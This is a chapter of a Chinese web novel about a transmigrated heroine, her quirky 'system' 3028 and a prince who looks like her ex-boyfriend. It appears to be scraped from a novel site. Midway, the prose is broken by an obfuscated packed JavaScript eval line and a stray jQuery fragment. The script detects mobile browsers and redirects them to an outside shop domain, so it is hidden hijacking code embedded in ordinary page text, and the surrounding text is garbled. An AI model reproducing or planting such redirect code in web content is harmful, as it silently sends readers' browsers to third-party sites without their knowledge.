文趣网 > 其他小说 > 穿书后前男友在装失忆 > 23. 第二十三章
    “宿主你刚刚也太谄媚了。”3028啧啧称奇。

    “还得继续向你学习。”叶若昭回怼道。

    ……

    3028敲了几个点,想到刚进殿时叶若昭说的“有杀气”,它问道:“宿主是怎么感受到的?我倒是看皇后娘娘挺友好的。”

    “单纯的统。”叶若昭鄙视道,“你是怎么被分配到古代世界来的?”

    毫无用处!

    “人家只是一个新统。”3028扭捏道,“快讲快讲。”

    “整个皇宫与我有仇的,恐怕就只有秋静萱了。”叶若昭托腮思考道,“刚刚陷害我的应该也是她。”

    “因为大皇子?”

    “虽然单纯,但你还是有点智商。”

    “当时也不只有你……”3028顿悟,“所以才会给二殿下下药。”

    “一次送走两个人,如果真被发现,君怀辰与太子之位也就无缘了。”叶若昭感慨道,“她绝对不会善罢甘休。”

    “莫慌,剧情没说你会这么早死。”

    “我谢谢你啊!”叶若昭无语道。

    坤宁宫内,秋静萱抱着那个罐子乐呵呵的笑着。

    “娘娘,可还要杀她?”秋月垂头不确定地问道。

    “这是什么话?”秋静萱止住笑,责怪道,“这么有趣的人,当然要给我儿子配个阴婚,让他不无聊。”

    想到了什么,秋静萱问秋月:“诶?那宫女可是亲眼看着叶若昭和君怀辰进了殿内,他们不会已经有染了吧?”

    “不可不可,可不能给我儿子找个这样的人。”

    “还是把他们都杀了吧,给我儿子陪葬。”秋静萱自言自语了一会,确定道。

    秋月轻声应下。

    叶若昭回到偏殿内,双儿上上下下打量了她好几遍,确认毫发无伤,长长地呼出一口气:“小姐没事就好,没事就好。”

    她安抚了双儿,展开双臂躺在床上,紧绷的情绪终于放松下来。

    终于可以休息会了,但是一闭眼,她好像又躺回了暗格里,仿佛又感受到了那个人的体温。

    她暗骂一声,猛地用被子蒙住头,告诉自己:别想,别想。

    “你们在暗格里怎么了?”好不容易等她将杂乱的思绪捋平,3028又问道。

    “靠!”叶若昭猛地坐起身,“你不是全程在场吗?还问?”

    “我不知道啊。”3028敲了个无辜脸,“我是个绿色系统,一进暗格我就被屏蔽了。”

    叶若昭一愣,又躺下敷衍地说:“我们非常纯洁,什么也没发生。”

    “既然能把我屏蔽的,一定非常不绿色。”

    “你这样想,我也没办法。”叶若昭耸耸肩。

    ……

    “原书中你们根本没在一起,最后他却谏言要抄家灭口。”3028回忆剧情。

    “因爱生恨了呗。”叶若昭无所谓道。

    “根据我这几天的观察,感觉你不接受他,反而什么事都没有。”3028一本正经地分析道。

    “所以?”叶若昭突然有种不好的预感。

    “推测结果显示,得到再失去,比从未得到更让人记恨。”

    “你接受他的追求,与他相恋,然后再抛弃他,最后他怀恨在心……嗯,逻辑成立。”3028点了点它的机器头。

    叶若昭听完它的分析,脑袋上冒出了黑线,无语道:“所以你什么意思?”

    “宿主!请和二殿下恋爱吧!”3028在屏幕上画了个爱心。

    叶若昭被雷到了,久久没有说话。

    “这不就偏离剧情了?”她震惊了好久才开口。

    “既然二殿下喜欢你,那就不算偏离,在逻辑上是成立的。”3028进一步解释道,“也算是世界线的自动补全。”

    “等等,这个君怀辰和我前男友可是长了一张脸。”叶若昭试图阻止系统的离奇想法。

    “不是一个人!”3028怂恿道,“你前男友甩了你,你把长得和他一样的人甩回去,既完成了任务,又报了仇,一举两得。”

    “哇哦。”叶若昭咂舌。

    “如果你实在接受不了,就在以后相处的过程中多‘钓’一下他,让他忽上忽下,又狠狠放手。”3028不知道从哪看的这些玩意,“这个你应该懂吧?”

    叶若昭听得目瞪口呆。

    “宿主!一切为了任务啊!”3028苦口婆心道。

    “我做不到,我不是吃回头草的人。”叶若昭又解释道,“如果他们真的不是一个人,我良心也过不去。”

    “二殿下最后会嘎了你们全家哦。”3028幽幽道。

    叶若昭深吸了一口气:“我尽量。”

    “这就对了。”3028愉悦道。

    套路君怀辰联盟初步成立。

    和系统聊完,已经到了晚上,晚膳君怀慕依旧没有吃,明日无论如何也要见到祁贵人。

    叶若昭泡在浴桶里,重新梳理3028的话,它被屏蔽,难道是因为君怀辰有了反应?

    她拍了下水面,将这个思绪赶出脑海,无论如何,多了一种屏蔽系统的方法。

    就是3028提到的那个“计划”,没想到上回她胡编乱造的世界线补全,竟然给了它灵感。

    罢了,走一步看一步吧。

    叶若昭突然听到有人好像翻窗进来了,她警觉道:“谁?”

    来人顿了几秒,压低了声音:“我。”

    叶若昭隔着屏风看着人影,没好气地道:“君怀辰?你有病?”

    “听闻皇后喊你过去,我担心你,所以来看看。”君怀辰的声音越来越低,“没成想,你在沐浴。”

    叶若昭正打算怼回去,突然想起3028的话,她挤出一个笑:“多谢殿下关心,只是这般登徒子的行径,还是不要再做了。”

    “殿下等我一会,我穿好衣服就出来见你。”说着,她从浴桶里出来,烛光将她的身影投在屏风上,曲线玲珑,腰肢纤细。

    君怀辰猛地背过身。

    “你……是我失礼了。”他结结巴巴地说,耳边传来窸窸窣窣地穿衣声,刺得他耳朵都烧了起来。

    “殿下,好了。”身后传来叶若昭的声音,君怀辰迟疑地转过身,便看到她披着半湿的长发,眼尾泛红,衣襟微敞,露出一截白皙的脖颈,发梢还滴着水,沿着锁骨滑进衣服里,落入更隐秘的地方,让人不敢多看。

    叶若昭看着君怀辰这副样子,心里直乐:顶着这张脸露出这般封建小老头的样子倒是少见。

    “殿下说,担心我?”叶若昭朝他走近一步,君怀辰下意识后退。

    “躲什么?”她歪头,轻柔慢语,“刚才闯进来的时候,你可不是这样的。”

    君怀辰别过脸,声音低哑:“……你先穿好衣服。”

    “穿好了啊。”她又往前一步,几乎要贴到他胸口,抬头看他,“殿下觉得哪里不妥?”

    君怀辰喉结滚动了一下,手指在身侧攥成拳。

    叶若昭心里也慌得要命,心跳如擂鼓,即使是闻明,她也从来没有……。她不停地告诉自己:演戏,这是演戏。

    她踮起脚尖,凑近他耳边,吐息如羽毛划过耳畔:“殿下脸红了。”

    君怀辰猛地抓住她的手腕,力道大得她吃痛,他盯着她看了几秒,又慢慢松开,退开一步,声音哑得不成样子:“你……你别闹。”

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579694|202113||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    叶若昭心里松了口气,虽然不是闻明,但继承了他的优良品德,她恢复成那副冷淡的样子:“殿下要是没什么事就请回吧。”

    君怀辰一愣,如同一盆冷水当头浇了下来,不知所措道:“确实无要紧事,我……”

    没等他说完,叶若昭便打断道:“既然无事,殿下还是快回吧,莫要被人看到,对殿下不利。”

    君怀辰看着叶若昭的神色不似生气,犹豫了片刻道:“那个玉佩可以调遣禁军,紧急情况下可以摔碎,我可以顺着线索找到你。”

    “殿下就不怕我凭着此物让你身败名裂?”叶若昭看着他的眼睛问道。

    “随你开心。”君怀辰没回避她的视线,轻轻一笑。

    叶若昭愣了一下,这四个字轻飘飘的,却像一记重锤砸在她心上。

    她看着他的眼睛,依然是那般真诚。

    她心里忽然涌上一股说不清的情绪,垂头避开他的眼神,淡声道:“殿下请回吧,夜深了。”

    君怀辰没再说什么,转身翻窗出去,在窗外站了很久。

    夜深人静,3028关掉屏幕上不断闪烁的警告——【感情线进度:严重落后,落后者:叶若昭、君怀辰。】

    第二日,叶若昭在春桃的带领下前往祁贵人处。

    祁贵人常年不受宠,吃斋念佛,久不出户,宫殿也有些破败了,院子里连棵像样的草木都没有,宫女见叶若昭来了,懒洋洋地行了个礼,也不通报,只说:“贵人还在做早课,等着吧。”,便没影了。

    叶若昭等得口干舌燥,一看春桃已经习以为常了,直到日上三竿快吃中饭时,祁贵人祁乐然才姗姗来迟。

    “等久了吧,这些宫女,也不叫我一声。”祁乐然吩咐人快上茶,仔细观察着叶若昭,回忆道:“一转眼,你都长成大姑娘了,上次见你,才到我腰这儿呢。”

    她的手轻轻拂过叶若昭脸上的疤,叹了口气,问道:“可是见过慕儿了?”

    叶若昭点点头。

    “慕儿这孩子,有主见。”祁乐然拉着叶若昭坐下,“我现在也奈何不了她。”

    仿佛知道她们的来意,祁乐然直言道。

    叶若昭贯彻傻子人设:“娘娘,公主姐姐不开门,我好担心她,你去劝劝她吧。您说的话,她一定会听的!”

    祁乐然苦笑:“她哪里肯听我的……”

    “公主姐姐说,你是全天下最最最好的人。”叶若昭伸长手臂,比划道,“我觉得我母亲是最最最最好的人,我就很听她的话,公主姐姐应该也是。”

    祁乐然唇角微弯,沉思了几秒,摸了摸叶若昭的头:“你这样说倒是有几分道理,容我想一下。”

    “嗯嗯,公主姐姐这两天都没用膳,也不知道是不是都饿瘦了。”叶若昭状似伤心地说。

    “没用膳?!”祁乐然惊讶道,“这可不行。”

    “就是啊!娘亲说不吃饭会饿死的。”叶若昭附和道。

    “这样。”祁乐然仿佛下定了决心,起身走向里屋:“我写封信,你带给她吧。”

    不一会,她交给叶若昭一个信封,看着上面的“怀慕亲启”,叶若昭的心稍微定了下来。

    她谨慎收好,保证道:“我一定让公主姐姐看完。”

    她拒绝祁乐然留她吃饭的好意,带着春桃马不停蹄地赶回去。

    从门缝里把信扔进去后,她大声道:“我刚刚去祁贵人的宫里,竟然捡到了一封信,也不知道是给谁的,哎呀,好像掉进房里去了,这可怎么办呀?”

    叶若昭静了几秒,片刻后,殿内传来了脚步声,她悬着的心终于落回肚子里。

    不管怎样,公主肯读信,就是好事,就看祁贵人的威力有多大了。